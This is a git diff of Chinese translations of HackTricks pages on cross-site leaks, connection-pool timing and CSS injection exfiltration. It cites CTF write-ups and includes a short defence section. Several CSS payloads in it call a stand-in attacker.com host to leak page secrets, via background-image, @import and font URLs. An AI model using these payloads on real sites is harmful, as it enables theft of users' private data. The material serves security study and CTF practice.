> 这就是为什么这个技术很有趣:Chrome 现在有 **缓存分区**,新打开页面的缓存键是:`(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`,但是如果我打开一个 ngrok 页面并在其中使用 fetch,缓存键将是:`(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`,**缓存键是不同的**,因此缓存不能共享。您可以在这里找到更多细节:[通过分区缓存获得安全性和隐私](https://developer.chrome.com/blog/http-cache-partitioning/)\
|
||||
> 这就是为什么这个技术很有趣:Chrome 现在有 **缓存分区**,新打开页面的缓存键是:`(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`,但如果我打开一个 ngrok 页面并在其中使用 fetch,缓存键将是:`(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`,**缓存键是不同的**,因此缓存不能共享。您可以在这里找到更多详细信息:[通过分区缓存获得安全性和隐私](https://developer.chrome.com/blog/http-cache-partitioning/)\
|
||||
> (来自 [**这里**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) 的评论)
|
||||
|
||||
如果一个站点 `example.com` 包含来自 `*.example.com/resource` 的资源,那么该资源将具有与通过顶级导航直接 **请求** 该资源时 **相同的缓存键**。这是因为缓存键由顶级 _eTLD+1_ 和框架 _eTLD+1_ 组成。
|
||||
|
||||
因为访问缓存比加载资源更快,所以可以尝试更改页面的位置并在 20 毫秒(例如)后取消它。如果在停止后更改了源,则意味着资源已被缓存。\
|
||||
或者可以 **发送一些 fetch 到潜在缓存页面并测量所需时间**。
|
||||
或者可以 **向可能被缓存的页面发送一些 fetch 并测量所需时间**。
|
||||
|
||||
### Manual Redirect <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
|
||||
|
||||
@ -796,7 +796,7 @@ CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样
|
||||
|
||||
### Script Pollution
|
||||
|
||||
- **Inclusion Methods**: HTML Elements (script)
|
||||
- **Inclusion Methods**: HTML 元素 (script)
|
||||
- **Detectable Difference**: 页面内容
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
|
||||
- **Summary:** 可以 **覆盖内置函数** 并读取其参数,即使是来自 **跨域脚本**(无法直接读取),这可能 **泄露有价值的信息**。
|
||||
@ -810,9 +810,9 @@ CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样
|
||||
- **Summary:** 测量使用服务工作者的网页的执行时间。
|
||||
- **Code Example**:
|
||||
|
||||
在给定的场景中,攻击者主动在其域名之一 "attacker.com" 中注册一个 **服务工作者**。接下来,攻击者从主文档中在目标网站打开一个新窗口,并指示 **服务工作者** 开始计时。当新窗口开始加载时,攻击者将前一步获得的引用导航到由 **服务工作者** 管理的页面。
|
||||
在给定的场景中,攻击者主动在其域之一(特别是 "attacker.com")中注册一个 **服务工作者**。接下来,攻击者从主文档中在目标网站打开一个新窗口,并指示 **服务工作者** 开始计时。当新窗口开始加载时,攻击者将前一步获得的引用导航到由 **服务工作者** 管理的页面。
|
||||
|
||||
在前一步发起的请求到达时,**服务工作者** 以 **204 (No Content)** 状态码响应,有效地终止导航过程。此时,**服务工作者** 捕获从第二步开始的计时器的测量。该测量受 JavaScript 导致的导航过程延迟的影响。
|
||||
在前一步发起的请求到达时,**服务工作者** 以 **204 (无内容)** 状态码响应,有效地终止导航过程。此时,**服务工作者** 捕获前面第二步中启动的计时器的测量。该测量受 JavaScript 导致的导航过程延迟的影响。
|
||||
|
||||
> [!WARNING]
|
||||
> 在执行计时中,可以 **消除** **网络因素** 以获得 **更精确的测量**。例如,通过在加载页面之前加载页面使用的资源。
|
||||
@ -847,14 +847,14 @@ CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样
|
||||
### Image Lazy Loading
|
||||
|
||||
如果您需要 **提取内容** 并且可以 **在秘密之前添加 HTML**,您应该检查 **常见的悬挂标记技术**。\
|
||||
但是,如果出于某种原因您 **必须** 逐字符进行(也许通信是通过缓存命中),您可以使用这个技巧。
|
||||
但是,如果由于某种原因您 **必须** 逐字符进行(也许通信是通过缓存命中),您可以使用这个技巧。
|
||||
|
||||
**图像** 在 HTML 中具有一个 "**loading**" 属性,其值可以是 "**lazy**"。在这种情况下,图像将在被查看时加载,而不是在页面加载时:
|
||||
```html
|
||||
<img src=/something loading=lazy >
|
||||
```
|
||||
因此,您可以做的是**添加大量垃圾字符**(例如**成千上万个"W"**)来**填充网页在秘密之前,或者添加类似**`<br><canvas height="1850px"></canvas><br>`**的内容。\
|
||||
然后,如果例如我们的**注入出现在标志之前**,**图像**将被**加载**,但如果出现在**标志之后**,标志 + 垃圾将**阻止其加载**(您需要调整放置多少垃圾)。这就是在[**这篇文章**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/)中发生的情况。
|
||||
因此,您可以做的是**添加大量垃圾字符**(例如**成千上万个"W"**)来**填充网页在秘密之前,或者添加类似**`<br><canvas height="1850px"></canvas><br>`**的内容。**\
|
||||
然后,如果例如我们的**注入出现在标志之前**,**图像**将会**加载**,但如果出现在**标志之后**,标志 + 垃圾将**阻止其加载**(您需要尝试放置多少垃圾)。这就是在[**这篇文章**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/)中发生的事情。
|
||||
|
||||
另一个选项是使用**scroll-to-text-fragment**(如果允许的话):
|
||||
|
||||
@ -872,9 +872,9 @@ CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样
|
||||
|
||||
一些利用此漏洞的代码示例:[https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
|
||||
|
||||
### 基于图像懒加载时间
|
||||
### 基于时间的图像懒加载
|
||||
|
||||
如果 **无法加载外部图像**,这可能会指示攻击者图像已加载,另一种选择是尝试 **多次猜测字符并测量**。如果图像加载,所有请求的时间将比图像未加载时更长。这就是在 [**此写作的解决方案中**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **总结的内容:**
|
||||
如果 **无法加载外部图像**,这可能会向攻击者指示图像已加载,另一种选择是尝试 **多次猜测字符并测量**。如果图像加载,所有请求的时间将比图像未加载时更长。这就是在 [**此写作的解决方案**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **中使用的内容,概述如下:**
|
||||
|
||||
{{#ref}}
|
||||
event-loop-blocking-+-lazy-images.md
|
||||
@ -888,7 +888,7 @@ event-loop-blocking-+-lazy-images.md
|
||||
|
||||
### CSS ReDoS
|
||||
|
||||
如果使用 `jQuery(location.hash)`,可以通过时间来判断 **某些 HTML 内容是否存在**,这是因为如果选择器 `main[id='site-main']` 不匹配,则不需要检查其余的 **选择器**:
|
||||
如果使用 `jQuery(location.hash)`,可以通过时间判断 **某些 HTML 内容是否存在**,这是因为如果选择器 `main[id='site-main']` 不匹配,则不需要检查其余的 **选择器**:
|
||||
```javascript
|
||||
$(
|
||||
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
|
||||
@ -902,7 +902,7 @@ css-injection/
|
||||
|
||||
## 防御
|
||||
|
||||
在 [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) 和维基的每个部分 [https://xsleaks.dev/](https://xsleaks.dev/) 中推荐了一些缓解措施。请查看那里以获取有关如何防止这些技术的更多信息。
|
||||
在 [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) 和每个 wiki 部分 [https://xsleaks.dev/](https://xsleaks.dev/) 中推荐了一些缓解措施。请查看那里以获取有关如何防止这些技术的更多信息。
|
||||
|
||||
## 参考
|
||||
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
在 [**这个漏洞**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-safelist-html) 中, [**@terjanq**](https://twitter.com/terjanq) 提出了另一个解决方案,针对以下页面中提到的挑战:
|
||||
在 [**这个漏洞**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-safelist-html),[**@terjanq**](https://twitter.com/terjanq) 提出了另一个解决方案,针对以下页面中提到的挑战:
|
||||
|
||||
{{#ref}}
|
||||
connection-pool-by-destination-example.md
|
||||
|
||||
@ -11,7 +11,7 @@
|
||||
- **机器人**将**访问**攻击者给定的**URL**
|
||||
- 攻击者可以在页面中**注入HTML**(但不允许JS,使用了dompurify)利用**CSRF**使**机器人创建一个带有该HTML的帖子**。
|
||||
- 攻击者可以利用CSRF使**机器人****删除**网页中的**第一个**帖子。
|
||||
- 由于**帖子**是按**字母顺序**排列的,当**第一个帖子被删除**时,如果攻击者的**HTML**内容被**加载**,则意味着它在**标志之前的字母顺序**。
|
||||
- 由于**帖子**是**按字母顺序**排列的,当**第一个帖子被删除**时,如果攻击者的**HTML**内容被**加载**,则意味着它在**标志之前的字母顺序**。
|
||||
|
||||
因此,为了窃取标志,@Strellyc\_提出的解决方案是,**对于每个要测试的字符**,让机器人:
|
||||
|
||||
@ -24,7 +24,7 @@
|
||||
> [!WARNING]
|
||||
> 如果**删除**的帖子是**标志**,这意味着所有**注入**在HTML中的**图像**将与**5个随机请求**争夺那个**未阻塞**的套接字。这意味着测量的时间将比其他情况更长。
|
||||
>
|
||||
> 如果**删除**的帖子是**HTML**,则**5个随机请求**将会**更快**,因为它们不需要与注入的HTML争夺那个套接字。
|
||||
> 如果**删除**的帖子是**HTML**,那么**5个随机请求**将会**更快**,因为它们不需要与注入的HTML争夺那个套接字。
|
||||
|
||||
### 利用1
|
||||
|
||||
@ -306,9 +306,9 @@ resolve(isFound)
|
||||
```
|
||||
## DiceCTF 2022 - carrot
|
||||
|
||||
在这个案例中,利用漏洞的第一步是滥用 CSRF 来修改包含标志的页面,使其具有 **更多内容**(因此加载时间更长),然后 **滥用连接池来测量访问可能包含标志的页面所需的时间**。
|
||||
在这个案例中,利用漏洞的第一步是滥用 CSRF 来修改包含标志的页面,使其 **内容更多**(因此加载时间更长),然后 **滥用连接池来测量访问可能包含标志的页面所需的时间**。
|
||||
|
||||
在漏洞中你可以看到:
|
||||
在这个漏洞中你可以看到:
|
||||
|
||||
- 滥用 CSRF
|
||||
- 占用所有套接字但保留 1 个
|
||||
|
||||
@ -41,7 +41,7 @@ background-image: url(https://attacker.com/exfil/csrF);
|
||||
|
||||
### 盲属性选择器
|
||||
|
||||
正如 [**在这篇文章中解释的**](https://portswigger.net/research/blind-css-exfiltration),可以结合选择器 **`:has`** 和 **`:not`** 来识别来自盲元素的内容。这在您不知道加载 CSS 注入的网页内部内容时非常有用。\
|
||||
正如 [**在这篇文章中解释的**](https://portswigger.net/research/blind-css-exfiltration),可以结合选择器 **`:has`** 和 **`:not`** 来识别盲元素中的内容。这在您不知道加载 CSS 注入的网页内部内容时非常有用。\
|
||||
还可以使用这些选择器从多个相同类型的块中提取信息,例如:
|
||||
```html
|
||||
<style>
|
||||
@ -66,20 +66,20 @@ background: url(/m);
|
||||
```css
|
||||
@import url("//attacker.com:5001/start?");
|
||||
```
|
||||
1. 导入将会**接收一些来自攻击者的CSS脚本**,并且**浏览器将加载它**。
|
||||
2. 攻击者发送的CSS脚本的第一部分是**另一个`@import`到攻击者的服务器**。
|
||||
1. 导入将会**接收一些来自攻击者的 CSS 脚本**,并且**浏览器将加载它**。
|
||||
2. 攻击者发送的 CSS 脚本的第一部分是**另一个 `@import` 到攻击者的服务器**。
|
||||
1. 攻击者的服务器不会立即响应这个请求,因为我们想要泄露一些字符,然后用有效负载响应这个导入以泄露下一个字符。
|
||||
3. 有效负载的第二部分和更大部分将是一个**属性选择器泄露有效负载**。
|
||||
1. 这将向攻击者的服务器发送**秘密的第一个字符和最后一个字符**。
|
||||
4. 一旦攻击者的服务器接收到**秘密的第一个和最后一个字符**,它将**响应步骤2中请求的导入**。
|
||||
1. 响应将与**步骤2、3和4完全相同**,但这次它将尝试**找到秘密的第二个字符和倒数第二个字符**。
|
||||
4. 一旦攻击者的服务器接收到**秘密的第一个和最后一个字符**,它将**响应步骤 2 中请求的导入**。
|
||||
1. 响应将与**步骤 2、3 和 4**完全相同,但这次它将尝试**找到秘密的第二个字符和倒数第二个字符**。
|
||||
|
||||
攻击者将**遵循这个循环,直到完全泄露秘密**。
|
||||
|
||||
您可以在这里找到原始的[**Pepe Vila的代码来利用这个**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231),或者您可以在这里找到几乎[**相同的代码但有注释**](./#css-injection)。
|
||||
您可以在这里找到原始的[**Pepe Vila 的代码来利用这个**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231),或者您可以在这里找到几乎[**相同的代码,但有注释**](./#css-injection)。
|
||||
|
||||
> [!NOTE]
|
||||
> 该脚本将尝试每次发现2个字符(从开头和结尾),因为属性选择器允许做如下事情:
|
||||
> 该脚本将尝试每次发现 2 个字符(从开头和结尾),因为属性选择器允许做如下事情:
|
||||
>
|
||||
> ```css
|
||||
> /* value^= 匹配值的开头*/
|
||||
@ -96,15 +96,15 @@ background: url(/m);
|
||||
> 这使得脚本能够更快地泄露秘密。
|
||||
|
||||
> [!WARNING]
|
||||
> 有时脚本**无法正确检测到前缀+后缀已发现是完整的标志**,它将继续向前(在前缀中)和向后(在后缀中),并在某个时刻会挂起。\
|
||||
> 有时脚本**无法正确检测到前缀 + 后缀已发现是完整的标志**,它将继续向前(在前缀中)和向后(在后缀中),并在某个时刻会挂起。\
|
||||
> 不用担心,只需检查**输出**,因为**您可以在那里看到标志**。
|
||||
|
||||
### 其他选择器
|
||||
|
||||
使用**CSS选择器**访问DOM部分的其他方法:
|
||||
使用**CSS 选择器**访问 DOM 部分的其他方法:
|
||||
|
||||
- **`.class-to-search:nth-child(2)`**:这将搜索DOM中类为"class-to-search"的第二个项目。
|
||||
- **`:empty`**选择器:例如在[**这篇文章**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**中使用:**
|
||||
- **`.class-to-search:nth-child(2)`**:这将搜索 DOM 中类为 "class-to-search" 的第二个项目。
|
||||
- **`:empty`** 选择器:例如在[**这个写作中**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
|
||||
|
||||
```css
|
||||
[role^="img"][aria-label="1"]:empty {
|
||||
@ -112,11 +112,11 @@ background-image: url("YOUR_SERVER_URL?1");
|
||||
}
|
||||
```
|
||||
|
||||
### 基于错误的XS-Search
|
||||
### 基于错误的 XS-Search
|
||||
|
||||
**参考:** [基于CSS的攻击:滥用@font-face的unicode-range](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html),[基于错误的XS-Search PoC由@terjanq提供](https://twitter.com/terjanq/status/1180477124861407234)
|
||||
**参考:** [基于 CSS 的攻击:滥用 @font-face 的 unicode-range](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html),[基于错误的 XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
|
||||
|
||||
总体意图是**使用来自受控端点的自定义字体**,并确保**文本(在这种情况下为'A')仅在指定资源(`favicon.ico`)无法加载时使用此字体显示**。
|
||||
总体意图是**使用来自受控端点的自定义字体**,并确保**文本(在这种情况下为 'A')仅在指定资源(`favicon.ico`)无法加载时使用此字体显示**。
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
@ -140,21 +140,21 @@ font-family: "poc";
|
||||
```
|
||||
1. **自定义字体使用**:
|
||||
|
||||
- 自定义字体通过在`<head>`部分的`<style>`标签中使用`@font-face`规则定义。
|
||||
- 字体命名为`poc`,并从外部端点获取(`http://attacker.com/?leak`)。
|
||||
- `unicode-range`属性设置为`U+0041`,目标是特定的Unicode字符'A'。
|
||||
- 自定义字体通过在 `<head>` 部分的 `<style>` 标签中使用 `@font-face` 规则定义。
|
||||
- 字体命名为 `poc`,并从外部端点获取(`http://attacker.com/?leak`)。
|
||||
- `unicode-range` 属性设置为 `U+0041`,目标是特定的 Unicode 字符 'A'。
|
||||
|
||||
2. **带回退文本的对象元素**:
|
||||
- 在`<body>`部分创建一个`<object>`元素,`id="poc0"`。该元素尝试从`http://192.168.0.1/favicon.ico`加载资源。
|
||||
- 此元素的`font-family`设置为`'poc'`,如在`<style>`部分定义。
|
||||
- 如果资源(`favicon.ico`)加载失败,则在`<object>`标签内显示回退内容(字母'A')。
|
||||
- 如果无法加载外部资源,回退内容('A')将使用自定义字体`poc`呈现。
|
||||
2. **带有后备文本的对象元素**:
|
||||
- 在 `<body>` 部分创建一个 `id="poc0"` 的 `<object>` 元素。该元素尝试从 `http://192.168.0.1/favicon.ico` 加载资源。
|
||||
- 此元素的 `font-family` 设置为在 `<style>` 部分定义的 `'poc'`。
|
||||
- 如果资源(`favicon.ico`)加载失败,则在 `<object>` 标签内显示后备内容(字母 'A')。
|
||||
- 如果无法加载外部资源,后备内容('A')将使用自定义字体 `poc` 渲染。
|
||||
|
||||
### 样式滚动到文本片段
|
||||
|
||||
**`:target`**伪类用于选择由**URL片段**指定的目标元素,如在[CSS选择器第4级规范](https://drafts.csswg.org/selectors-4/#the-target-pseudo)中所述。重要的是要理解,`::target-text`不会匹配任何元素,除非文本被片段明确目标。
|
||||
**`:target`** 伪类用于选择由 **URL 片段** 定位的元素,如 [CSS 选择器第 4 版规范](https://drafts.csswg.org/selectors-4/#the-target-pseudo) 中所述。重要的是要理解,`::target-text` 不会匹配任何元素,除非文本被片段明确定位。
|
||||
|
||||
当攻击者利用**滚动到文本**片段功能时,会出现安全隐患,这使他们能够通过HTML注入从其服务器加载资源,以确认网页上特定文本的存在。该方法涉及注入如下的CSS规则:
|
||||
当攻击者利用 **滚动到文本** 片段功能时,会出现安全隐患,这使他们能够通过 HTML 注入从其服务器加载资源来确认网页上特定文本的存在。该方法涉及注入如下的 CSS 规则:
|
||||
```css
|
||||
:target::before {
|
||||
content: url(target.png);
|
||||
@ -169,7 +169,7 @@ http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:
|
||||
为了缓解,以下几点应注意:
|
||||
|
||||
1. **受限的 STTF 匹配**:Scroll-to-text Fragment (STTF) 仅设计用于匹配单词或句子,从而限制其泄露任意秘密或令牌的能力。
|
||||
2. **限制在顶级浏览上下文中**:STTF 仅在顶级浏览上下文中操作,不在 iframe 内工作,使得任何利用尝试对用户来说更为明显。
|
||||
2. **限制在顶级浏览上下文中**:STTF 仅在顶级浏览上下文中操作,不在 iframe 内部工作,使任何利用尝试对用户更为明显。
|
||||
3. **用户激活的必要性**:STTF 需要用户激活手势才能操作,这意味着利用仅通过用户发起的导航才可行。这一要求大大降低了攻击在没有用户交互的情况下自动化的风险。然而,博客作者指出了特定条件和绕过方法(例如,社会工程学,与流行浏览器扩展的交互)可能会简化攻击的自动化。
|
||||
|
||||
了解这些机制和潜在漏洞对于维护网络安全和防范此类利用策略至关重要。
|
||||
@ -180,7 +180,7 @@ http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:
|
||||
|
||||
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
|
||||
您可以为特定的 unicode 值指定 **外部字体**,这些字体 **仅在页面中存在这些 unicode 值时** 被 **收集**。例如:
|
||||
您可以为特定的 unicode 值指定 **外部字体**,这些字体只有在页面中存在这些 unicode 值时才会被 **收集**。例如:
|
||||
```html
|
||||
<style>
|
||||
@font-face {
|
||||
@ -214,13 +214,13 @@ htm
|
||||
|
||||
所描述的技术涉及通过利用字体连字并监控宽度变化来提取节点中的文本。该过程包括几个步骤:
|
||||
|
||||
1. **自定义字体的创建**:
|
||||
1. **创建自定义字体**:
|
||||
|
||||
- SVG 字体是用具有 `horiz-adv-x` 属性的字形制作的,该属性为表示两个字符序列的字形设置了较大的宽度。
|
||||
- 示例 SVG 字形:`<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`,其中 "XY" 表示一个两个字符的序列。
|
||||
- 然后使用 fontforge 将这些字体转换为 woff 格式。
|
||||
|
||||
2. **宽度变化的检测**:
|
||||
2. **检测宽度变化**:
|
||||
|
||||
- 使用 CSS 确保文本不换行(`white-space: nowrap`)并自定义滚动条样式。
|
||||
- 水平滚动条的出现,样式明显,作为指示器(oracle),表明文本中存在特定的连字,因此存在特定的字符序列。
|
||||
@ -275,7 +275,7 @@ B
|
||||
|
||||
在此过渡期间,**unicode-range 技巧**被用来识别每个新字符,因为它加入前缀。这是通过将字体切换到 Comic Sans 来实现的,后者明显比默认字体高,从而触发垂直滚动条。这个滚动条的出现间接揭示了前缀中存在新字符。
|
||||
|
||||
尽管这种方法允许检测到独特字符的出现,但并未指定哪个字符被重复,仅仅表明发生了重复。
|
||||
尽管这种方法允许检测到独特字符的出现,但并未指定哪个字符被重复,只是表明发生了重复。
|
||||
|
||||
> [!NOTE]
|
||||
> 基本上,**unicode-range 用于检测字符**,但由于我们不想加载外部字体,我们需要找到另一种方法。\
|
||||
@ -726,7 +726,7 @@ unicode-range: U+0041;
|
||||
```
|
||||
如果匹配成功,**字体将从 `/static/bootstrap.min.css?q=1` 加载**。虽然它不会成功加载,但**浏览器应该缓存它**,即使没有缓存,也有**304未修改**机制,因此**响应应该比其他内容更快**。
|
||||
|
||||
然而,如果缓存响应与非缓存响应的时间差异不够大,这将没有用。例如,作者提到:但是,经过测试,我发现第一个问题是速度没有太大差别,第二个问题是机器人使用了 `disk-cache-size=1` 标志,这真的很周到。
|
||||
然而,如果缓存响应与非缓存响应的时间差不够大,这将没有用。例如,作者提到:但是,经过测试,我发现第一个问题是速度没有太大差别,第二个问题是机器人使用了 `disk-cache-size=1` 标志,这真的很周到。
|
||||
|
||||
### 文本节点外泄 (III):通过定时加载数百个本地“字体”(不需要外部资源)泄露字符集 <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Loading…
x
Reference in New Issue
Block a user